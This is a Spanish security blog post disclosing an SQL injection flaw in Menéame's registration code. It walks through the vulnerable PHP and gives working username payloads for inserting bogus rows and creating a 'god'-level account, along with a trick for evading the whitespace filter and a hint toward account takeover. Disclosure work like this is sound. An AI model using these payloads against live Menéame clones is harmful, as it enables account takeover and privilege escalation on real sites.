SQL Injection en Menéame

Nota: Al momento de publicar este post, el bug ya ha sido corregido en la última versión de Menéame, pero probablemente sus clones todavía son vulnerables.

Existe un problema de validación de datos en el código fuente de Menéame, que dadas las condiciones necesarias, hace posible que alguien pueda apoderarse de la cuenta de un usuario, ingreso de datos inconsistentes y la creación nuevas cuentas con nivel "god" -esto último creo que no tiene mucha implicancia.

Para reproducir este error es necesario que el servidor de base de datos sea MySQL 4.x, ya que la versión 5 de ésta, hace un poco mejor su trabajo al validar la entrada de datos...

La historia comienza en el archivo register.php, en el que a partir de la línea 19 se muestra el siguiente código:

php:
if(isset($_POST["process"])) {
        switch (intval($_POST["process"])) {
                case 1:
                        do_register1();
                        break;
                case 2:
                        do_register2();
                        break;
        }
} else {
        do_register0();
}

En la función do_register0 se muestra el formulario de registro; en do_register1 se validan correctamente los datos ingresados en el paso previo y se genera un código de verificación, los datos ingresados anteriormente se mantienen a través de campos ocultos. El problema se encuentra entre el paso de do_register1 a do_register2, ya que este último sólo hace una validación sencilla de los datos enviados, veamos la parte relevante.

php:
// libs/utils.php
function clean_input_string($string) {
        return preg_replace('/[ <>\'\"]/', '', stripslashes($string));
}
// register.php
function do_register2() {
        global $db, $current_user, $globals;
        if ( !ts_is_human()) {
                register_error(_('El código de seguridad no es correcto.'));
                return;
        }
        $username=clean_input_string(trim($_POST['username'])); // sanity check
        $password=md5(trim($_POST['password']));
        $email=clean_input_string(trim($_POST['email'])); // sanity check
        $user_ip = $globals['user_ip'];
        if (!user_exists($username)) {   
                if ($db->query("INSERT INTO users (user_login, user_login_register, user_email, user_email_register, user_pass, user_date, user_ip) VALUES ('$username', '$username', '$email', '$email', '$password', now(), '$user_ip')")) {
                        //register_error(_("Usuario creado").'.<a href="login.php">'._(Login).'</a>');
/***
                        if($current_user->Authenticate($username, $password, false) == false) {
                                register_error(_("Error insertando usuario en la base de datos"));
                        } else {
****/

                        echo '<fieldset>'."\n";
                        echo '<legend><span class="sign">'._("registro de usuario").'</span></legend>'."\n";
                        // [...]

Como se puede observar, primero comprueba que el código de verificación sea correcto, luego los datos enviados son limpiados haciendo uso de la función clean_input_string, que es donde en realidad está el problema, por ejm. luego de ejecutar clean_input_string('\\\\') devuelve \.

Modificando el campo username -con herramientas que permiten modificar los datos que fluyen entre cliente y servidor- para que contenga el valor \\ (\ si magic_quotes_gpc = On), entonces, gracias a la funcion clean_input_string la consulta SQL generada para la inserción sería algo como:

sql:
INSERT INT0 users
(user_login, user_login_register, user_email, user_email_register, user_pass, user_date, user_ip)
VA1UES ('\', '\', 'alex@mytrashmail.com', 'alex@mytrashmail.com', '85964989611934e09fd33690cd7aa279', now(), '127.0.0.1')

Noten el detalle que hay después de VALUES(, esta consulta probablemente genere un error puesto que no es lo que debería ejecutarse.

Una vez descubierto el fallo, lo único que se tendría que hacer es modificar convenientemente el valor de $_POST['username'] y hacer que sirva para nuestros propósitos. Ejemplos:

  • $_POST['username'] -> [,0,0,0,0,0,0);--\\]: haría que podamos ingresar datos incosistentes (funciona en MySQL 5 también).
  • $_POST['username'] -> [,0,0,0,0,0,0),(123,123,0,0,md5(0),0,0),(123,123,0,0,md5(0),0,0)0N DUPLIC4TE KEY UPD4TE user_level=concat(char(103),char(111),char(100)),user_validated_date=now()--\\]: Creación de un usuario con nivel 'god'.
  • Queda como tarea para el lector, determinar el valor de $_POST['username'], que haga que podamos adueñarnos de la cuenta de otro usuario.

El segundo item del ejemplo no va a funcionar tal como está, ya que la función clean_input_string eliminaría los espacios en blanco, dando como resultado una consulta errónea, entonces para evadir esta restricción habría que cambiar los espacios en blanco por caracteres \n o \r\n.

Finalmente, creo que los desarrolladores de Menéame deberían hacer una revision general del código, ya que en muchos casos hay duplicidad de funcionalidad, que desde el punto de vista de la seguridad, hace que tenga más puntos vulnerables; por otro lado, no sería mala idea organizar un bug hunt para detectar y corregir los fallos que seguramente todavía existen.

Herramientas

Agradecimientos

  • A MySQL, por su apoyo incondicional en la explotación satisfactoria de este bug :-P.